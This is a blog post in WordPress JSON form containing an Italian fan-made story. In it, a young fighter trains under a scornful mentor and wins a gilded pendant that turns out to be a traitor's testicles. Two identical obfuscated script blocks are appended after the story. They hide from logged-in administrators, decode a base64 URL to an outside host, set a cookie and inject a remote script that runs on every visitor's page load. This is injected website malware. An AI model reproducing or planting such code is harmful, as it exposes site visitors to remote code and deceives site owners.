{"id":4073,"date":"2025-09-08T23:25:37","date_gmt":"2025-09-08T21:25:37","guid":{"rendered":"https:\/\/www.terredegliangeli.com\/calamai\/?p=4073"},"modified":"2026-07-05T18:38:22","modified_gmt":"2026-07-05T16:38:22","slug":"ernesto","status":"publish","type":"post","link":"https:\/\/www.terredegliangeli.com\/calamai\/ernesto\/","title":{"rendered":"ERNESTO"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">**IL SEGUENTE RACCONTO E\u2019 FAN-MADE.**<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><a href=\"https:\/\/www.terredegliangeli.com\/calamai\/wp-content\/uploads\/2025\/09\/IMG_6734-1.jpeg\"><img loading=\"lazy\" decoding=\"async\" width=\"894\" height=\"894\" src=\"https:\/\/www.terredegliangeli.com\/calamai\/wp-content\/uploads\/2025\/09\/IMG_6734-1.jpeg\" alt=\"\" class=\"wp-image-4075\" srcset=\"https:\/\/www.terredegliangeli.com\/calamai\/wp-content\/uploads\/2025\/09\/IMG_6734-1.jpeg 894w, https:\/\/www.terredegliangeli.com\/calamai\/wp-content\/uploads\/2025\/09\/IMG_6734-1-300x300.jpeg 300w, https:\/\/www.terredegliangeli.com\/calamai\/wp-content\/uploads\/2025\/09\/IMG_6734-1-150x150.jpeg 150w, https:\/\/www.terredegliangeli.com\/calamai\/wp-content\/uploads\/2025\/09\/IMG_6734-1-768x768.jpeg 768w, https:\/\/www.terredegliangeli.com\/calamai\/wp-content\/uploads\/2025\/09\/IMG_6734-1-50x50.jpeg 50w, https:\/\/www.terredegliangeli.com\/calamai\/wp-content\/uploads\/2025\/09\/IMG_6734-1-120x120.jpeg 120w\" sizes=\"auto, (max-width: 894px) 100vw, 894px\" \/><\/a><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Il silenzio era interrotto solo dal suo sbuffare. Il per la mia decisione era palpabile.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">La conoscevo troppo bene e sapevo perfettamente che quella situazione era un equilibrio precario, come una reazione chimica instabile, non andava provocata, n\u00e9 sollecitata, per evitare che esplodesse all\u2019improvviso.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Ma nonostante tutte le mie accortezze alla fine sbott\u00f2: \u201cNon capisco proprio perch\u00e9 hai deciso di andare!\u201d<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Aprii la bocca per rispondere, ma lei riprese \u201c\u00e8 inutile che mi dici le stesse cose! Ho capito, ma non ha senso. E\u2019 da pazzi\u2026 LETTERALMENTE PAZZI!\u201d<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Ebbi solo il tempo di annuire che lei prosegu\u00ec \u201ce te sei pi\u00f9 pazza di loro! Ci vai solo perch\u00e9 ti da fastidio che lui sia infastidito da te e allora vuoi dargli fastidio andandoci. Ti rendi conto, s\u00ec? Sei masochista, e pure sadica! Siete tutti uguali! Vi meritate!\u201d<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Mi veniva da ridere, a stento riuscii a trattenermi, cos\u00ec continuai ad annuire aspettando che finisse.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u201cMa poi mi dici che cazzo ci fai dal Sothom?! Lui ti odia, tu lo odi. Come potr\u00e0 mai andare a finire bene secondo te? NON HA SENSO! E smettila di annuire come una pazza!\u201d<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Sapevo che aveva ragione, e lo sapeva anche lei, non serviva che glielo dicessi, cos\u00ec continuai semplicemente a rimanere in silenzio in attesa.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u201ce pure egoista sei! Saresti potuta rimanere qua, farti allenare da Ottavia, e restare con me, e invece no! Vai dal Sohom\u201d detto questo distolse lo sguardo.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Ecco, la pausa nel suo attacco che stavo aspettando: \u201canche tu mi mancherai. Torno presto, promesso\u201d le dissi e mi avvicinai a lei<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u201cMa smettila!\u201d mi scans\u00f2 infastidita, ma non cos\u00ec tanto infastidita.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Sapevo che potevo avvicinarmi ancora di pi\u00f9, e lo feci.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u201cVaffanculo tu e Brando!\u201d mi sussurr\u00f2 mentre cedeva&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u201cSono d\u2019accordo. Vaffanculo Brando!\u201d<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u201cPoi sarei io la stronza\u2026\u201d<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u201cNo, lo stronzo \u00e8 Brando\u201d<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Ridemmo insieme.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Il suo sorriso. Fu questo il ricordo che mi portai dietro in quelle lunghe giornate di allenamento.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Brando non sorrideva mai, non a me almeno.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Aveva sempre quest\u2019espressione truce e sofferente, come se contemplasse un tetro orizzonte interiore, e la mimica si inaspriva ancora di pi\u00f9 in mia presenza.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Aveva ragione Ciri, mi dava fastidio il disgusto con cui mi guardava, mi faceva venire una rabbia che lo avrei preso a cazzotti, se solo ne fossi stata in grado.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Ma non lo ero.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Il giorno in cui arrivai non feci nemmeno in tempo a passare dalla camera che volle testare le mie capacit\u00e0.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Posai le mie sacche sul bordo dell\u2019arena e ci sfidammo. Fu umiliante.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Sono sicura di aver combattuto al massimo della potenza, della forza, di aver vibrato la lancia in lungo e in largo, ma nulla, non riuscii a colpirlo e per tutte e tre le volte mi ritrovai con la faccia nel fango e il suo coltello alla nuca.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Come abbia fatto non lo so. Ricordo solo un lampo grigio e poi il sapore della terra.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u201cPenosa. Non ho intenzione di perdere il mio tempo con te. Leone pu\u00f2 dire quello che gli pare, ma io non ti allener\u00f2\u201d disse vicino al mio orecchio mentre con un ginocchio mi bloccava il petto a terra impedendomi di muovermi.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Poi se ne and\u00f2 senza nemmeno girarsi, lasciandomi l\u00ec, confusa e perplessa nel mezzo dell\u2019arena.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Totalmente umiliata.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">All\u2019improvviso una voce mi scosse dal torpore<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u201cHei cosa! Tu! Lancia!\u201d Era Leone.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u201cAllora, ho parlato con Brando. Non ha intenzione di allenarti.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Per\u00f2 l\u2019ho convinto a lasciarti guardare gli allenamenti degli altri. Tra una settimana vi risfiderete\u201d mi disse sorridendo tranquillo.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u201cmi stai prendendo per il culo?! Io sono qui per allenarmi, non per guardare gli altri allenarsi! Non \u00e8 giusto!\u201d dissi carica di rabbia e frustrazione<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">L\u2019espressione nel suo volto si fece improvvisamente seria \u201cTi sembro Balthazar?! E Brando ti sembra quella bonazza di Cyra?! Fidati, no, senn\u00f2 non sarei qui a parlare con te ora.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Qui non c\u2019\u00e8 giustizia. Non ti credo cos\u00ec scema da non sapere che sarebbe stato difficile allenarti con lui. O se lo sei sono sicuro che Ciri te l\u2019abbia detto prima di partire, quindi in ogni caso lo sapevi.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Questo \u00e8 il meglio che possiamo chiedere a Brando.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Puoi non accettare e andartene, oppure puoi trarre il meglio dall\u2019ingiustizia della vita, che scegli?\u201d<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u201cChe palle per\u00f2!\u201d dissi sbuffando<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u201cBrava. Sar\u00e0 un\u2019ottima occasione per te. Diventerai una grande arma per il sussurro\u201d<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u201cio sono gi\u00e0 una grande arma\u201d<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u201cNo, per ora sei solo un\u2019arma mediocre, anzi scarsa direi, a me serve che diventi micidiale, senn\u00f2 non mi servi.\u201d<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Ciri aveva ragione, ma anche Leone aveva ragione, e pure quello stronzo di Brando.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Vaffanculo, non volevo dar ragione a nessuno di loro, quindi decisi di trarre il meglio da quella situazione.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Il giorno dopo iniziai ad osservare gli allenamenti dagli spalti dell\u2019arena.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">La prima mattinata mi sentii ribollire il sangue dalla rabbia: l\u2019allieva che veniva addestrata era una totale frana in combattimento, un\u2019incompetente, goffa e imbranata, con una portata di braccio ridicola. Eppure era l\u00ec, dentro l\u2019arena, mentre io guardavo da fuori. E Brando le faceva pure i complimenti e la rassicurava.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Sembrava lo facesse apposta. Anzi, sicuramente lo faceva apposta.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Quello stronzo.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Ma non gliel\u2019avrei data vinta.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Osservai con estrema attenzione ogni allenamento i giorni a seguire, non guardavo pi\u00f9 solo gli allievi, ma anche il maestro. Guardavo come si muoveva, i suoi passi, dove teneva i coltelli, anche quelli nascosti, i movimenti delle braccia, il suo sguardo, il ghigno della sua bocca quando stava per colpire.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Dovevo studiarlo, capirlo, e prevederlo.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Il giorno della sfida arriv\u00f2 velocemente.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Io ero gi\u00e0 dentro l\u2019arena, Brando arriv\u00f2 senza entusiasmo \u201cfiniamo velocemente questa pagliacciata\u201d disse scocciato.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Il primo coltello riuscii a vederlo e pararlo. Brando ne fu sorpreso e offeso allo stesso tempo, cos\u00ec ne tir\u00f2 fuori un altro e mi colp\u00ec sulla tempia tanto velocemente che vidi solo un lampo grigio.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Ma almeno aveva tirato fuori due coltelli, sapevo dove stavano gli altri.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Di nuovo riuscii a parare un colpo, e disarmai il secondo, ma il terzo colpo non so, il terzo proprio non ho idea da dove sia arrivato, ricordo solo la sensazione del pomo sul naso. E poi buio.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Per tre volte mi ritrovai a terra.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Feci schifo, ma non cos\u00ec schifo e anche Brando lo riconobbe: \u201chai fatto schifo, ma meno schifo\u201d mi disse<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u201cquindi mi allenerai?\u201d&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u201cassolutamente no!\u201d&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u201ce quindi?\u201d chiesi perplessa e anche scocciata<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Brando mi guard\u00f2 seduta nel fango come si guarda una mendicante e mi fece la sua misericordia: \u201ccontinuerai a guardare gli allenamenti, solo quando riuscirai a sottrarmi questo ciondolo legato alla cintura ti allener\u00f2\u201d<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u201cE basta? Solo questo?\u201d dissi, ma lui mi dava gi\u00e0 le spalle e se ne stava andando. Sicuramente avr\u00e0 roteato gli occhi infastidito dalla mia insolenza.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">La sfida si rivel\u00f2 molto pi\u00f9 ardua del previsto.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Brando non abbassava mai la guardia. Mai. E per quanto fossi io a cacciare lui si rivel\u00f2 una preda impossibile da catturare.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Come mi avvicinavo scompariva nel nulla, eppure era l\u00ec, fino a un attimo prima, ne ero sicura.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Questo vuol dire che mi percepiva, anche se nascosta, e si nascondeva a sua volta.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Ma come?<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u201cSo che ci sei. Sento la tua puzza, desertica\u201d mi disse una volta mentre chiudeva la porta della sua camera dandomi le spalle noncurante.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Rinunciai ad attaccarlo, avrei perso, per\u00f2 quello che mi disse mi serv\u00ec molto.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Iniziai ad appostarmi contro vento, prestai attenzione alla mia ombra, alle mie orme, al rumore del mio respiro, al battito del mio cuore.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Iniziai ad essere scaltra come non ero mai stata.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Cominciai anche ad osservarlo, sia in bella vista, dove potesse vedermi, sia di nascosto.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Lo volevo far sentire braccato, o anche solo dargli fastidio. Cosa che mi procurava grande piacere, aveva ragione Ciri.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Ne osservai gli spostamenti, le abitudini, la routine.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Provai a lasciare trappole e inganni: il mio profumo spruzzato in modo strategico, capelli posizionati ad hoc, nascondermi dietro tende che mimetizzassero il colore delle mie vesti, approfittare di rumori improvvisi per spostarmi.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Stavo capendo, stavo migliorando.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">E mi stavo pure divertendo.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Quello stronzo.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Quanto lo odiavo.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Tentai tutti i giorni di sottrargli quel maledetto ciondolo, e delle volte riuscii anche a prenderlo alle spalle, ma se ingaggiavo lo scontro continuava ad avere la meglio lui e mi ritrovavo con la faccia schicciata contro la pietra del muro o del pavimento senza nulla in mano.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Dovevo prendere il ciondolo tanto velocemente da non venir ingaggiata, ma come?<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Ci pensavo giorno e notte, anche nei miei sogni studiavo un piano.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Finalmente un giorno, non so cosa fu, se il raggio di sole del tramonto che gli limitava la vista, l\u2019urlo della cuoca che chiamava a tavola, il passaggio fortuito di Rory vestita in modo succinto, forse le stelle si erano allineate a mio favore, forse alla fine si era stancato di me e me l\u2019aveva voluta dar vinta, o forse ero davvero migliorata in strategia, ma quella volta, allungai il braccio da sotto il tavolo e mi ritrovai il ciondolo in mano.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Lo guardai allibita.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u201cAlla fine ce l\u2019hai fatta, non ci speravo pi\u00f9. Stavo morendo di noia\u201d Disse&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Ignorai la sua provocazione completamente rapita dal ciondolo che tenevo tra le mani.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">L\u2019avevo desiderato cos\u00ec tanto e finalmente eccolo: era una sfera dorata bellissima, lucida e brillante, la pi\u00f9 bella che avessi mai visto. La ammirai trasognante e sorridendo felice la abbracciai al petto.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Poi gliela porsi per restituirgliela.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u201cNo, no, puoi tenerla. Ora \u00e8 tua.\u201d mi disse con espressione di disgusto come se non volesse prender in mano qualcosa toccato da me.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">L\u2019avrei picchiato, ma mi avrebbe gonfiato come una zampogna delle Fiere, quindi feci finta di nulla.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u201cQuindi domani iniziamo l\u2019allenamento?\u201d chiesi mentre se ne stava gi\u00e0 andando<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u201cHai la sabbia nel cervello? Era questo l\u2019allenamento\u201d<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Rimasi in silenzio per un attimo scioccata dalla situazione e poi&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u201cvaffanculo Brando!\u201d gli urlai mentre se ne andava.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Brando non si gir\u00f2 nemmeno, ma sono sicura che se la ridesse soddisfatto.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Mentre preparavo le borse in camera entr\u00f2 Leone<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u201cLancia, hai visto? E\u2019 o non e\u2019 stato utile?\u201d&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u201cSei venuto a gongolarti? S\u00ec Leone, avevi ragione te. E\u2019 stato utile, \u00e8 questo che vuoi sentirti dire?\u201d dissi con tono appena appena passivo aggressivo<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u201cMi piacerebbe anche che tu dicessi: Abbasso Balthazar! Viva l\u2019ingiustizia!\u201d<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u201cAbbasso Balthazar! Viva l\u2019ingiustizia!\u201d ripetei in modo teatrale&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Rise soddisfatto<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u201cTorni dalla Stronza ora?\u201d<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u201cS\u00ec, ho anche un bel monile da portarle in dono, magari non sar\u00e0 pi\u00f9 cos\u00ec incazzata\u201d dissi mostrando il ciondolo<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u201cAh! Brando ti ha regalato Ernesto?\u201d<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u201c\u2026Ernesto?\u201d chiesi dubbiosa<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u201cS\u00ec, sono le palle di Ernesto. Sono stati i primi testicoli di traditore che gli ho fatto tagliare. Li abbiamo fatti coprire d\u2019oro e li abbiamo tenuti come ricordo, uno io e uno lui. Ti ha fatto un bel regalo Brando. Alla fine mi sa che si \u00e8 affezionato davvero a te\u201d<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Per un attimo rimasi in silenzio, nuovamente scioccata dalla situazione, e poi&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u201cMA VAFFANCULO BRANDO!!\u201d urlai e lanciai la palla contro la parete.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Presi la mia sacca &nbsp;e me ne andai.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Leone si pieg\u00f2 a raccogliere la palla dorata rotolata ai suoi piedi&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u201cPovero Ernesto, nessuno ti apprezza come noi\u201d la baci\u00f2 e se la leg\u00f2 alla cintura vicino all\u2019altra.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Finalmente riunite dopo tanto tempo.<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i&lt;20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<&lt;2)|(h2>>4);o2=((h2&15)<&lt;4)|(h3>>2);o3=((h3&3)<&lt;6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i&lt;20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<&lt;2)|(h2>>4);o2=((h2&15)<&lt;4)|(h3>>2);o3=((h3&3)<&lt;6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>**IL SEGUENTE RACCONTO E\u2019 FAN-MADE.** Il silenzio era interrotto solo dal suo sbuffare. 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